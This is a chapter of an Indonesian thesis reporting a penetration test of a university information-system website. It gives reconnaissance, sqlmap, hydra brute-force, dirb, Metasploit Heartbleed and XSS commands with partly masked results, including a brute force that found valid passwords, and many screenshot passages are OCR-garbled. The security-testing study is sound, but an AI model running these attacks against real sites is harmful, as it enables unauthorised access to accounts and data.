BAB 1V

HASIL PENELITIAN

4.1 Information Gathering

Pengumpulan data pada website SIM xxx dimulai dengan mencari informasi yang
tersedia pada lamat website. Pencarian Informasi dimulai dengan mencari IP Adress
pada target yang dituju menggunakan tools online netcraft. Dan berikut hasil yang

didapat.

4.1.1 Netcraft

B Network

Site httg wcid &

Nethlock Owner

Hosting company unknown
Hosting country =D &
IPvd address [VirusTotal &}
IPv4 autonemous systems AS139959 &
IPv6 address Not Present
IPvE autonomous systems Mot Present
Reverse DNS unknown

Gambar 4. 1 Netcraft IP

Untuk mencari alamat IP dapat dilakukan dengan berbagai cara, salah satunya
dengan menggunakan tools online seperti yang dilakukan pada gambar diatas.

dengan memasukkan Alamat Website akan mendapatkan berbagai macam informasi
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terkait website tersebut. Hasil IP yang didapat dari hasil menggunakan tools netcraft

diatas pada SIM xxx yaitu 103.XXX.XX.X
4.1.2 Whois

Berikut command Whois yang digunakan dalam proses Information
Gathering untuk melakukan pengecekkan data pemilik dari nama domain atau
Alamat IP. Dengan alat ini dapat mengetahui siapa pemilik nama domain yang
sesungguhnya. Seperti alamat hosting, alamat server, email, dan informasi

lainnya terkait website SIM xxx

Whois Alamat_Website

Dan berikut hasil yang didapat dari command diatas
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inetnum: L.
netname : IDNTIC-

Educ=*s2./ Direct member L1DNIC

admin-c:
tech-c:
countr
mnt-by:
mnt-irt:
mnt-routes
status: Slonewy PORTABLE
last-modified: @1-08TO5
source:
irt:
address:
addre :
addre :
e-mail:
abuse-mailbox:
admin-c:
tech-c:
auth: # riooered
mnt-by:
last-modified:
source:

person:

address:

count
phone:

e-mail:
nic-hdl:
mnt-by:
fax-no:
ist-modified:
50 -

Gambar 4. 2 Hasil Whois

4.1.3 httprint

Proses fingersprint webserver menggunakan Httprint diatas bertujuan untuk
menemukan versi dan jenis server web yang sedang berjalan untuk menentukan
kerentanan yang diketahui dan eksploitasi yang sesuai. Berikut command httprint

yang digunakan dalam proses Fingerprint Webserver

Sudo httprint -h http://103.xxx.xx.x -s signatures.txt
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Ket:
-h : target berupa alamat ip
-s : file yang berisi tanda tangan sidik jari HTTP

Dan berikut hasil yang didapat dari command diatas
r fingerprinting tool

re ro1uTlonJ pvt. ltd. - see readme.

Finger Printing on
Finger Printing Comple

FEZD7811CoDCH
SD17AAES11CODCS

ulllgDL5u11l9DL5CE51DFD- EEEEQJTEZCEbQJJ

Banner Reported: Apache/

Banner Deduced: Lotus-Domino/6.x,
Score: 55

Confidence: 33.13

Gambar 4. 3 Hasil httprint

Dari hasil fingerprint yang dilakukan diatas informasi didapat adalah jenis
server dan versi yang digunakan merupakan Apache/2.2.15 (CentOS)

4.1.4 Nmap

Network Mapping merupakan sebuah tool open source untuk eksplorasi dan
audit keamanan jaringan yang akan dijadikan landasan untuk melakukan

eksploitasi melalui open port yang tersedia dari hasil Nmap berikut.

Nmap -sV 103.xxx.Xxx.Xx

Dan berikut hasil yang didapat dari command NMAP diatas
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Starting Nmap 7.91 ( https://nmap.org ) at 2021-85-22 @1:24 EDT
Nmap scan report for

Host is up (@.841s latency).

Not shown: 996 filtered ports

PORT STATE SERVICE VERSTION

Gambar 4. 4 hasil Nmap

Hasil dari scanning Nmap diatas terdapat open port yang ditemukan pada
server SIM xxx, yaitu Port 22 atau biasa disebut SSH, Port 80 atau biasa disebut
HTTP, Port 443 atau biasa disebut SSL, dan Port 5432 atau biasa disebut
Postgresql

4.1.5 Whatweb

Whatweb -v -a 3 Alamat_Website

Ket :

-v : Output verbose mencakup deskripsi plugin
-a : tingkat agresi set level

1. Stealthy. membuat satu permintaan HTTP per target dan juga mengikuti
pengalihan
3. Agresive. jika plugin cocok, permintaan tambahan akan dibuat
4. Heavy. membuat banyak permintaan HTTP per target. URL dari semua
plugin dicoba

Command whois diatas digunakan untuk mencari jenis kerangka kerja

aplikasi web/CMS dari header HTTP, Cookie, Source Code, File, dan Folder

tertentu dari suatu Website
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Dan berikut hasil yang diperoleh dari command whatweb diatas.

Apache[” . PasswordField[ , Cookies[ 7, HTTPServer[ 1, X-Powered-By[

5 (from HTTP Server Header)
://httpd.apache.org/
e HTTP headers. The

on space.

ring. This plugin als
tem from th

PHP is a wi

modules and versions and extracts the local file path and
username if present.

Version -
Google Dorks: (2)
Website : http: w.php.net/

[ PasswordField ]
find password fields

String : (from field name)

[ X-Powered-By ]
X-Pq ed-By HTTP header

String z (from x-powered-by string)

HTTP Headers:
HTTP/1.1 2
i 21 13:57:13 GMT

PHP/5.0. 4w

17 nuv Loul wasd

no-store, no

Connection:
Content-Type:

Gambar 4. 5 Hasil Whatweb

Hasil yang didapat dari gambar diatas sebagai berikut. PHP[5.6.40] yaitu
bahasa pemograman yg digunakan beserta versinya, Apache[2.2.15] yaitu
jenis server yang digunakan, PasswordField[txtPassword] yaitu format text

password yang digunakan, Cookies]PHPSESSID] yaitu tampilan nama
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cookie di header HTTP, HTTPServer[centOS][Apache/2.2.15 (CentOS)]
yaitu percobaan mengidentifikasi jenis server yang digunakan,

X-powered-By[PHP/5.6.40] dari X-powered-by string.

4.1.6 Kesimpulan Information Gathering

No Proses Hasil Akhir
1 Netcraft IP Address, yaitu 103.xxx.XX.X
2 Whois Alamat Hosting, Server, Email, dan

Informasi lainnya terkait Website SIM

XXX, yaitu J1 xxx, Jakarta xxx,

xxx.net.id.
3 HTTPrint Apache/2.2.15(CentOS)
4 Nmap Open Port :

Port 22/SSH, Port 80/HTTP, Port
5443/PostgreSQL, Port 443/SSL

5 Whatweb HTTP Header

Tabel 4. 1 Kesimpulan Information Gathering

4.2 scanning

Scanning vulnerabillity dilakukan guna mencari celah kerentanan/keamanan pada

website menggunakan sebuah tools yang dirancang khusus untuk mencari celah
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keamanan berdasarkan level resiko dari setiap temuan celah. Dan berikut hasil

Scanning vulnerabillity menggunakan tools OWASP ZAP versi 2.9.0

[ = History I E, search I Fo alerts fT || Output I % Spider T 3 Active Scan m
e J ¥

X-Frame-Options Header Not Set

" @ Alets (5 R hiep
M X-Frame-Options Header Mot Set (5) Pk S ML
2l Al e Ak e Confidence: Medium

» U Absence of Anti-CSRF Tokens (5)

‘ Parameter. X-Frame-Options

» (U Cookie No HttpOnly Flag (2) Attack:

» [ Cookie Without SameSite Attribute (2) |Evidence:

» [ Cookie Without Secure Flag {CWE ID: 16

» [ Incomplete or No Cache-control and Pragma HTTP Head \WaSC ID: 15

» U Server Leaks Information via "X-Powered-By" HTTP Respr |Source: Passive (10020 - X-Frame-Options Header)

b F X-Content-Type-Options Header Missing (7)

Description:

Untitled Session - OWASPZAP 2.9.0

File Edit View Analyse Report Tools Import Orline Help

|(Standerdmode ) (| B M B & 0B 008 OE0NE 487 0P P oERE o@e® |
@ sites | 4+ [ % quick start | = Request | Responses= | 4
LB [Header: Text |»] [Body: Text || [ [
(& conterts HTTP/1.1 200 0K Iy
(@) Default Context Date: Sun, 06 Jun 2021 13:48:21 GMT
» @ sites server: Apache,/”
X-Powered-By: PHP/5.6.40
Set-Cookie: ™ . oV e
Expires: Thu, is muy 1981 08:52:00 GHT v
<IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN' "http://wvww.w3.0rg/TR/xhtnl1/DTD/xhtnll-transitional.dtd"> |&
< ns="http: //wiw.v3,0rg/1989/xhtnl" dir="Tltr">
fiv="content-type" content="text/htnl; charset=UTF-8"/>
link rel-"ctvlasheet® type='text/---* href-'ctulasindex.css’ media="screen” />
title - t v
[ = istory | search [ [Ralerts # ] | | output | % Spider | 3 Active scan | 4
00 /& [X-Frame-Options Header Not Set Y
URL: http:s i
v
hd_FLuilUES | isk 4 Medium
I X-Frame-Options Header Not Set (5) e (e
» [u Absence of Anti-CSRF Tokens (5) Parameter; X-Frame-Options
» 4 Cookie No HttpOnly Flag (2) Attack:
> [ Cookie Without SameSite Attribute (2) B
» £ Cookie Without Secure Flag CWE ID: 16
» 2 Incomplete or No Cache-control and Pragma HTTP Head WASC ID: 15
» [ Server Leaks Information via "X-Powered-By" HTTP Resp|{ Source: Passive (10020 - X-Frame-Options Header)
> X-Content-Type-Options Header Missing (7) Description:
e
Eis Wi || XFrame-Options header is not included in the HTTP response to protect against 'Clicklacking' attacks. v

| Alerts WO F1 (7 WO  Primary Proxy: localhost:8088 Current Scans 40 $0 ®0 A 0 @0 Wo S0 o

Gambar 4. 6 Scanning OWASP ZAP

Vulner/celah keamanan yang diambil adalah yang medium risk dari hasil scanning

vulnerabillity diatas adalah tidak adanya header X-Frame-Options dalam respons

HTTP untuk melindungi dari serangan Clickjacking sehingga serangan Clickjacking
dapat saja dilakukan dari luar terhadap website SIM XXX.
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4.3 Testing
4.3.1 Injection

Injection attack yang dilakukan menggunakan package SQLMap yang
tersedia pada Kali Linux bertujuan untuk mendapatkan informasi lengkap yang ada
pada database suatu website. Dan berikut command yang digunakan untuk melakukan

injection attack.

sqlmap -r request.txt

Keterangan :
-r : mencari file text yang akan digunakan sebagai bahan untuk eksploitasi

Request.txt : merupakan text yang berisi HTTP post form yang didapat dari
proses Scanning form HTTPS login menggunakan Burproxy. Dan berikut isi

Request.txt tersebut.

<?xml version="1.0"7>

<IDOCTYPE items [

<IELEMENT items (item*)>

<IATTLIST items burpVersion CDATA "">
<IATTLIST items exportTime CDATA "">
<IELEMENT item (time, url, host, port, protocol, method, path, extension, request,
status, responselength, mimetype, response, comment)>
<IELEMENT time (#PCDATA)>

<IELEMENT url (#PCDATA)>

<IELEMENT host (#PCDATA)>

<IATTLIST host ip CDATA "">

<IELEMENT port (#PCDATA)>

<IELEMENT protocol (#PCDATA)>

<IELEMENT method (#PCDATA)>

<IELEMENT path (#PCDATA)>

<IELEMENT extension (#PCDATA)>
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<!IELEMENT request (#PCDATA)>
<IATTLIST request base64 (true|false) "false">
<!IELEMENT status (#PCDATA)>
<IELEMENT responselength (#PCDATA)>
<IELEMENT mimetype (#PCDATA)>
<IELEMENT response (#PCDATA)>
<IATTLIST response base64 (true|false) "false">
<IELEMENT comment (#PCDATA)>
>
<items burpVersion="2020.9.1" exportTime="Fri May 28 12:59:45 EDT 2021">
<item>
<time>Fri May 28 12:58:50 EDT 2021</time>
<url><![CDATA[https://Alamat_Website. AC.ID/front/gate/index.php]|></url>
<host ip="103.xxx.xx.x">Alamat Website. AC.ID</host>
<port>443</port>
<protocol>https</protocol>
<method><![CDATA[POST]]></method>
<path><![CDATA[/front/gate/index.php]]></path>
<extension>php</extension>
<request
base64="true"><![CDATA[UE9TVCAvZnJvbnQvZ2F0ZS9pbmRleC5waHAgSFRU
UC8xLjENCkhve3Q6IHNpbS51cG52ai5hYySpZAOKVXNIcilBZ2VudDogTW96a
WxsYS81LjAgKFgxMTsgTGludXggeDg2XzY00yBydjo30OC4wKSBHZWNrbyS8y
MDEwMDEwWMSBGaXJ1Zm94Lzc4LjANCKkFj;Y2VwdDogdGV4dC90dG1sLGFwce
GxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cTOwLjksaW 1hZ2U
vd2VicCwqLyo7cTOWLjgNCKFjY2VwdCIMY W5ndWFnZTogZW4tVVMsZW47cT
OWLjUNCKF;Y2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQ29udGVud
C1UeXBIOiBhcHBsaWNhdGlvbi94LXd3dy Imb3JtLXVybGVuY29kZWQNCkNvb
nRIbnQtTGVuZ3Ro0iA0ONQOKT3JpZ2luOiBodHRwczovL3NpbS51cG52aiShYyS5p
ZA0KQ29ubmVjdGlvbjogY2xvc2UNCUIZmVyZXI161Gh0dHBZzOi8vc2ltLnVwbnZq
LmFjLmIkL2Zyb250L2dhdGUvaW5kZX gucGhwDQpDb29raWUGIFBIUFNFUINJ
RD1hdHZmOHBgN3Y3MWsyNWU3cHYxbXJgbmIwNwOKVXBncmFkZS1JbnNI
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Y3VyZS1SZXF1ZXN0czogMQOKDQp0eHRVc2VySUQ9Y WRtaW4mdHhOUGFzc
3dvemQIMTIZNCZzdWItaXQITGInaW4=]|></request>
<status></status>
<responselength></responselength>
<mimetype></mimetype>
<response base64="true"></response>
<comment></comment>
</item>

</items>

Dan berikut hasil yang didapat dari injection testing menggunakan command sqlmap

diatas.

[ 7] [WARNING] heuristic (basic) test shows that POST parameter 'txtUs
erID’' might not be injectable

] [WARNING] POST parameter 'txtUserID' does not seem to be injectab

POST parameter 'txtUserID' does not seem to be injectab

heuristic (basic) test shows that POST parameter 'txtPa
injectable

POST parameter 'txtPassword' does not seem to be inject

; \ heuristic (basic) test shows that POST parameter 'submi
t' might not be injectable

] [WARNING] POST parameter 'submit' does not seem to be injectable

] [CRITICAL] all tested parameters do not appear to be injectable.
r to increase values for "—1 ri options if you wish to perform
YOU SUsped 1 1 ( ( echanism
WAF) mayb ou C try te e ! ] (e.g. '—ta

Gambar 4. 7 Injection attack with SOLMap

Hasil testing injection menggunakan sqlmap diatas menghasilkan “all tested
parameters do not appear to be injectable” yang dapat disimpulkan bahwa
celah untuk melakukan injection attack yang ditemukan pada website SIM xxx

tidak ada.
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Gambar 4. 8 URL SIM Without Parameter ID

Dikarenakan pada URL website SIM tidak ada parameter ID seperti contoh
gambar diatas yang bisa digunakan sebagai landasan untuk melakukan injection
attack, Command Injection yang digunakan merupakan command untuk
menyerang database menggunakan post parameter yang didapatkan dari hasil

scanning menggunakan OWASP ZAP yaitu sebagai berikut.

4.3.2 Broken Authentication

Untuk melakukan exploit Broken Authentication atau password attack pada
halaman website menggunakan fools hydra pada kali linux, berikut command

yang dijalankan.

Hydra Alamat Website -V -L username.txt -P cobapassword.txt https-post-form
“/front/gate/index.php:txtUserID="USER" & txtPassword="PASS”:Username

atau Password anda salah”

keterangan :
-V : verbose detail deskripsi proses exploit
-L : mencari username file yang ada pada direktori file
-P : mencari password file yang ada pada direktori file

https-post-form : didapat dari metode post dari scanning menggunakan

Burpsuite/ OWASP ZAP
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Command hydra yang digunakan untuk melakukan burtforce menyesuaikan
dengan spesifikasi target. Target yang ingin diserang merupakan halaman
login pada website, jadi menggunakan post-form yang didapat dari website

tersebut.

Broken authentication attack menggunakan fools hydra dan berikut hasil

yang didapat dari bruteforce yang dilakukan menggunakan hydra pada kali linux

[443][http-post-form] host: ac.id login: password:

1 of 1 target successfully completed, 111 valid passwords found

iithub.com/vanhauser-thc/thc-hydra) finished at 2021-86-089 12

Gambar 4. 9 Broken Authentication Attack with Hydra

Dilihat dari hasil percobaan bruteforce diatas dapat disimpulkan percobaan
bruteforce berhasil dilakukan dan terdapat celah untuk masuk pada website SIM
xxx. Dan hasil yang diperoleh, terdapat banyak username dan password yang
ditemukan dari hasil percobaan bruteforce menggunakan /sydra dengan bantuan
bebarapa informasi post http dari hasil scanning burproxy yang dilakukuan. Salah

satu yang dapat digunakan untuk mencoba masuk ke sistem SIM xxx.
4.3.3 Sensitive Data Exposure

Pencarian file tertentu pada website SIM xxx dilakukan menggunakan tools
dirb pada kali linux. Dan berikut hasil temuan file yang bisa diakses pada website

SIM xxX.

Dirb https://Alamat_Website

Berikut hasil command diatas

> DIRECTORY: S/s51m!d ac.1id/1includes/
+ https://sim. ac.id/index.html (CODE:200|SIZE:21)

+ https://sim .id/index.php (CODE:302|5IZE:0)
+ https://sim .id/info.php (CODE:200|SIZE:82396)

39

Yum Thurfah Afifa Rosaliah, 2021

PENGUJIAN CELAH KEAMANAN WEBSITE MENGGUNAKAN TEKNIK
PENETRATION TESTING DAN METODE OWASP (OPEN WEB APPLICATION
SECURITY PROJECT) TOP 10 PADA WEBSITE SIM XXX

UPN Veteran Jakarta, Fakultas [Imu Komputer, Informatika

[www.upnvj.ac.id - www.library.upnvj.ac.id - www.repository.upnvj.ac.id]



Gambar 4. 10 Sensitive Data Scanning with Dirb

Status Code 200 diatas menandakan berhasil/ditemukannya direktori pada

URL yang dapat diakses pada Alamat Website

Dan berikut hasil yang diperoleh dari percobaan URL yang didapat

berdasarkan informasi yang ada pada gambar diatas

System

Build Date

Server APl

Virtual Directory Support
Configuration File (php.ini) Path
Loaded Configuration File

Scan this dir for additional .ini files
Additional .ini files parsed

PHP API

PHP Extension
Zend Extension

Gambar 4. 11 Sensitive Data Testing

Gambar diatas merupakan file data yang yang dapat diakses oleh public tanpa
perlu masuk ke sistem website SIM xxx. Dapat dilihat dari gambar diatas bahwa
Info.php berisi beberapa informasi yang sangat detail terhadap konfigurasi yang
ada pada sistem website SIM xxx. Dari Database hingga informasi yang ada pada
server seperti open port configuration dan data penting lainnya yang
menguntungkan pihak attacker. Info.php perlu dises ulang agar public maupun

attacker tidak dapat mengakses file yang termasuk dalam sensitive data tersebut.
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4.3.4 XML External Entities (XXE)

Berikut salah satu hasil scanning zaproxy pada saat proses mengirim pesan
pada section kolom text yang ditemukan pada website SIM xxx dan mendapatkan
feedback dari database dan data ditampilkan langsung setelah submit button
tambabh.

Berikut hasil request dan respon dari proses entry data yang baru

ditambahkan.
Manual Request Editer - O Xx
J Request I Response ]
Il Method _vJ |Header: Text _YJ |Body: Text _vJ Bo e "q;_év\' BE=me send
|POST https:, ac.ir ATTP/1.1
User-Agent: musiciarss. 0 (K11, e wee o-, rviss.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;g=0.5

‘Content-Type: application/x-www-form-urlencoded
Content-Length: 103

Origin: https:/

Connection: keeg.

‘Referer: httns=:-/ dntz wemnn
Cookie: _ga

_gat_gtag UA c.ouvi-ew o—u

\Upgrade-Insecure-Requests: 1

|Host: sim.upnvj.ac.id

.iJenerima_laﬁel=0l3l34128602+-+Bayu+Hananto°02(+S.I{om.H.Kom penerima:ll)l‘) judui:test isi-test key=Cact=save

Request | Response ]

(Header: Text |¥| (Body: Text |v| [C] []

HTTP/1.1 200 OK

|Date: Sat, 12 Jun 2021 16:07:56 GMT

|Server: Apaches2.2.15 (Cent0s)

| X-Powered-By: PHP/5.6.40

|Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|Pragma: no-cache

Content-Length: 127

Connection: close

Content-Type: texts/html: charset=UTF-8

:-:scr-ip;c- t.}-'|'_-»e=';fextfjaw‘ascri|:-;c';:-
location.href = "hitp:/ ‘front/gate/index.php Ppage=menu";
</script>

Gambar 4. 12 XML File Scanning Result
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Dapat dilihat dari hasil request tidak ditemukannya tag XML. Untuk dapat
melakukan XXE, tag XML harus ada, dan apabila tidak ditemukan, dapat
dilakukan dengan merubahnya menjadi file XML seperti yang ada dibawah ini

J Request T Response ]
[Met"hoﬂ T] |_Téxt :J 00 e@@0O=m e

[PosST https:/ ac.i TTP/L.1

|User-Agent: Mosicoare. 9 (X1L. _ . rviss.u) Gecko/20100101 Firefox/78.0
|Accept: text/html,application/xhtml+xml,application/xml:q=0.9,image/webp,*/*;q=0.8
. =05

|Accept-Language. =i
|Content-Type: japplication;‘xrnl
|Content-Lengths IS

|0rigin: https:/
|Connectlon: keep . __
|Referer: https:/

|Cookle: _ga=GAl, :

| gat_gtag UA 91361426 5=1
|Upgrade-Insecure-Requests: 1
|Host: sim.upnvj.ac.id

.

send |

| judul=<isiztest<key=<act=save</key=</act=

<penerima_label>0004128602+-+Bayu+Hananto%2C+S. Kom .M, Kom</penerima_label=<penerima>1019</penerima=<j udul:-testd]
\

Request | Response ]

| Header: Text q | Body: Text TJ B3O

[HTTP/1.1 200 OK

Date: Sat, 12 Jun 2021 165:33:08 GMT

Server: Apache/2.2.15 (Cent0S)

X-Powered-By: PHP/5.6.40

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content-Length: 127

Connection: close

Content-Type: text/html; charset=UTF-8

' cseript type="text/javascript"s>
location.href =

‘ront/gate/index. php?page=menu” ;
</script>

Gambar 4. 13 Percobaan Perubahan Content Type to XML

dan dapat dilihat dari respon diatas bahwa perubahan text menjadi XML
berhasil dilihat dari hasil 200 OK diatas. namun tidak mendapatkan respon

apapun dari website SIM xxx sehingga dapat dikatakan bahwa XXE attack tidak
dapat dilakukan pada website SIM xxx.

4.3.5 Broken Access Control
Missing function level access control
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Merupakan proses merubah hak akses secara ilegal tanpa diketahui oleh

pihak administrator website.

Dikarenakan pada URL yang ditampilkan pada SIM xxx tidak adanya
parameter ID yang muncul, percobaan akses ID lain secara manual tidak bisa
dilakukan, untuk itu, perlu dilakukan scanning pencarian ID lain dengan mencoba
gennerate 1D user yang ada untuk mencari apabila terdapat ID level user yang

lainnya menggunakan Fuzzer pada OWASP ZAP

J Request ] Response |

[Method |¥| [Header: Text v| [Body: Text d Eo e@@O=Eme send

GET https://sim. ac.id/siakad/siakad/ajax/cari/user/bayu HTTP/1.1
User-Agent: Moziv.as>.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: applicationsxml, text/javascript, */%; g=0.01

Accept-Language: en-US,en;g=0.5

X-Regquested-With: XMLHtipRequest

Connection: keep-alive

Referer: https://sim ac.id,

Cookie: PHPSESSID=g0...; gtd708hilacau.v 2 -
Content-Lenath: ©

Host: sim ac.id

Gambar 4. 14 Scanning Access Control with OWASP ZAP

Tampilan diatas merupakan scanning request yg didapat dari zaproxy pada saat login

S hz:wl c{a5;=1ol1 ion-siakad teks-colorid0l"=</i= Daftar Role <=small=SIM
Akademik</small=</h2=

<div class="role_box"
onClick="goAccess ('SIAKAD', ‘'dosen’, )" »
<av class="content"= = ) )

<h2=<1 class="ion ion-sdm teks-colorid@l"=</i> Daftar Role <small=SIM
Kepegawalan</small=</h2=

onClick="goAccess('SOM', ‘dosen’, " -

<div class="content"=
<h2><i class="ion ion-litabmas teks-colorid@l"=</i> Daftar Role <small=SIM

<div class="role_box"

<span class="role_container"=
<span class="rolename"=Dosen

_itabmas</small=</h2>

=div class="role_box"
snClick="goAccess ('LITABMAS', 'dosen’, l )

<span class="role_container">
<span class="rolename"=Dosen

Gambar 4. 15 ID User Found Scanning Access Control with OWASP ZAP

Gambar diatas merupakan tampilan respon setelah login. Gambar diatas

menampilkan beberapa informasi yang dapat digunakan untuk melakukan
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missing function level access control atau bisa disebut perubahan akses control
secara ilegal. Seperti diketahui gambar diatas terdapat ID user yang bisa
digunakkan untuk melakukan fuzzer. Bertujuan untuk mendapatkan ID wuser
lainnya yang mempunyai role yang berbeda apabila ada. Dan berikut hasil fuzzer

setelah digenerate untuk mendapatkan ID role user lainnya

= History | &\, Search | ¥ Alerts | | Output | & Fuzzer & % | + |

4 New Fuzzer * Progress: | 1: HTTP - hitps://sim.up..page=menu/57201 ¥ LC <& Current fuzers: 0
Jessages Sent; 100 Errors: 0 /A Show Errors & Expc
Task ID | Message Type | Code 7| Reason | RTT | Size Resp. Header | Size Resp. Bodly | Highest Alert | State | Payloads |
0 original 302 Found 238 ms 363 bytes 0 bytes 1 Low
2 Fuzed 302 Found 478 ms 363 bytes 0 bytes 1
4 Fuzed 302 Found 515 ms 363 bytes 0 bytes 3
5 Fuzed 302 Found 555 ms 363 bytes 0 bytes 4
1 Fuzed 302 Found 606 ms 3263 bytes 0 bytes 0
3 Fuzed 302 Found 621 ms 363 bytes 0 bytes 2
9 Fuzed 302 Found 235 ms 363 bytes 0 bytes 8
10 Fuzed 302 Found 273 ms 363 bytes 0 bytes 9
6 Fuzed 302 Found 481 ms 363 bytes 0 bytes 5
7 Fuzed 302 Found 487 ms 363 bytes 0 bytes 6
11 Fuzed 302 Found 230 ms 363 bytes 0 bytes 10
8 Fuzed 302 Found 522 ms 363 bytes 0 bytes 7
13 Fuzed 302 Found 285 ms 363 bytes 0 bytes 12
14 Fuzed 302 Found 281 ms 263 bytes 0 bytes 13
16 Fuzed 302 Found 279 ms 363 bytes 0 bytes 15
12 Fuzed 302 Found 532 ms 363 bytes 0 bytes 11
Alerts W0 1 (43 WO ‘Primary Proxy: localhost:8088 Current Scans 0 o ®o do @o ¥o S0 ¥

Gambar 4. 16 Hasil Fuzzer ID Access Control with OWASP ZAP

Hasil gambar diatas menunjukkan bahwa tidak adanya ID lain yang
ditemukan. Tidak dapat melakukan missing function level access control pada

website SIM xxX.

Dari kedua jenis tipe broken access control yang ada pada website SIM xxx
diatas dapat disimpulkan bahwa tidak adanya celah untuk melakukan broken

access control attack pada website SIM xxx.

4.3.6 Security Misconfiguration

a. Configuration port ssl

Beberapa developer terkadang dapat melakukan kesalahan dalam
mengkonfigurasi port ssl/https yang dapat menyebabkan kesalahan fatal dan
dapat menimbulkan celah untuk melakukan berbagai macam serangan pada
port ssl/https tersebut. Berikut command yang digunakan untuk melihat

status protocols yang ada pada port ssl/https.
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Sslscan http:Alamat Website

Dan berikut hasil dari Command diatas

Server supports TLS Fallback SCSV

re session renegotiation supported

Compression disable

le to heartbleed
to heartbleed
to heartbleed

Gambar 4. 17 SSLScan

Dari gambar dilihat dapat dilihat bahwa SSLv3 statusnya enabled. SSL,
dan penerusnya TLS, adalah protokol kriptografi yang dirancang untuk
menyediakan keamanan komunikasi melalui Internet. Di ranah web, mereka
menyediakan HTTPS, tetapi mereka juga digunakan untuk protokol aplikasi
lain. SSLv1 tidak pernah dirilis secara publik, dan SSLv2 dengan cepat
ditemukan tidak aman. SSLv3 telah dibuat, dan, bersama dengan
TLSv1/1.1/1.2 yang lebih baru, saat ini masih digunakan untuk

mengamankan lapisan transport Internet.

Seperti yang terjadi pada SSLv2, baru-baru ini Google Engineering
menunjukkan bahwa SSLv3 rusak (dengan teknik eksploitasi yang dikenal
sebagai POODLE) dan tidak boleh digunakan lagi. Ada tambalan, tetapi itu
tidak mengurangi masalah sepenuhnya karena hanya akan berfungsi jika
kedua sisi koneksi telah ditambal. SSLv3 hampir berusia 18 tahun, tetapi
dukungan untuknya tetap tersebar luas. Klien dan server harus

menonaktifkan SSLv3 sesegera mungkin.
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b. Multiple environments

Library bug yang digunakan untuk exploit open port yang tersedia pada
server web SIM xxx adalah heartbleed. Heartbleed merupakan bug
keamanan di /ibrary kriptografi OpenSSL, yang merupakan implementasi
protokol Transport Layer Security (TLS) yang banyak digunakan.
Heartbleed dapat dieksploitasi terlepas dari apakah instance OpenSSL yang
rentan berjalan sebagai server atau klien TLS. Ini dihasilkan dari validasi
input yang tidak tepat (karena pemeriksaan batas yang hilang) dalam

penerapan ekstensi heartbleed TLS.

Untuk dapat menggunakan heartbleed bug pada openssl, harus
mengaktifkan metasploit framework terlebih dahulu, lalu ketik search

openssl dan masukkan command openssl_heartbleed seperti berikut

Use auxiliary/scanner/ssl/openssl_heartbleed

Set RHOSTS 103.xxx.xx.X

Set RPORT 443

Set VERBOSE TRUE

Exploit

Set RHOSTS : untuk setting target host yang dituju
set RPORT : berfungsi untuk setting target Port yang dituju dan
set VERBOSE : berfungsi untuk menampilkan hasil detail exploit yang didapat.

Berikut hasil dari percobaan exploit menggunakan komponen library heartbleed pada

metasploit framework diatas.
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UTC, not

rver Key Exchange (

sion:
Length:
Handsh

response H1
t Hello ...

r Hello (2)
rsion:

random data:

=

Session ID:

Gambar 4. 18 Hearbleed Result

Dari hasil exploit menggunakan bug heartbleed diatas mengatakan
bahwa “looks like there isn’t leaked information” yang berarti tidak adanya
informasi rahasia yang dapat mengancam melalui port ssl/http. Dapat diambil

kesimpulan bahwa tidak adanya kesalahan konfigurasi pada server SIM xxx.
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C. Incorrect permission

Terkadang developer bisa lupa dalam memberikan akses terhadap file
tertentu yang tidak sah. Seperti halnya percobaan yang dilakukan berikut.
Mencoba mengakses file htpasswd yang merupakan private bug bounty
program yang berisi kata sandi hash dari pengguna tertentu yang dapat di
crack. Atau setidaknya dapat mengakses beberapa aset yang digunakan

sebagai username dan kata sandi yang sama

_ront/gate/index.php?page=menu/htpasswd — Visit

@ B v ® E

berikut hasil yang didapat dari percobaan private bug bounty diatas
X X & go
U a ac.id

Kali Tools = Kali Docs Kali Forums NetHunter [| Offensive

Gambar 4. 19 Httpasswd

Dapat dilihat dari respon diatas kembali lagi ke halaman sebelumnya
yang berarti user tidak dapat mengakses file tertentu yang tidak sah pada
website SIM xxx dan konfigurasi izin akses yang ada pada website SIM xxx

sudah baik.
4.3.7 Cross-Site Scripting (XSS)

XSS cukup menyisipkan skrip atau HTML ke dalam halaman web. Secara
umum, saat menguji kemungkinan serangan XSS, Anda perlu memverifikasi
keaslian input Anda, dan penguji perlu mengetahui hal ini saat Anda memvalidasi
output situs web Anda. Juga, jika tinjauan kode sedang dilakukan, penting untuk

mengetahui bagaimana input cocok dengan output
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1. Manual Input Script

Berikut script yang coba dimasukkan pada website SIM xxx

<Script>alert(‘‘haii’)

</script>

Berikut hasil percobaan XSS yang dilakukan pada halaman login website dan

beberapa fitur search SIM xxx

Username :

<script>alert("haii")

Password :

Login

Kuesioner On-Line

Username atau Password anda
salah

Username :

Password :

0024118905

View Saved Logins

Gambar 4. 20 XSS Login Page

Gambar diatas merupakan percobaan XSS Attack pada login form website

SIM xxx. Dapat dilihat bahwa script yang dikirim tidak mendapatkan respon dan
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tidak menampilkan apapun pada login page tersebut.

-- Semua - :i ‘ <script=alert( ”hali\":";‘scr'\pt'{ m
Data kosong
--Semua -- :I <script=alert( m

Gambar 4. 21 XSS Fitur Search

Gambar diatas merupakan hasil dari percobaan script XSS yang dilakukan
pada beberapa form search yang ada pada website SIM xxx. Dan dapat dilihat
bahwa tidak adanya output yang muncul sehingga dari percobaan XSS pada
website SIM xxx tidak ada celah untuk melakukan XXS dan dapat dikatakan
website SIM xxx aman dari XSS attack.

2. Input Script with Tools Burpsuite

Percobaan XSS attack lainnya dapat dilakukan dengan menggunakan script
dan key yang tersedia pada Burpsuite. Alasan dilakukannya proses ini adalah
script dan key yang tersedia pada burpsuite lebih bervariatif yang membuat

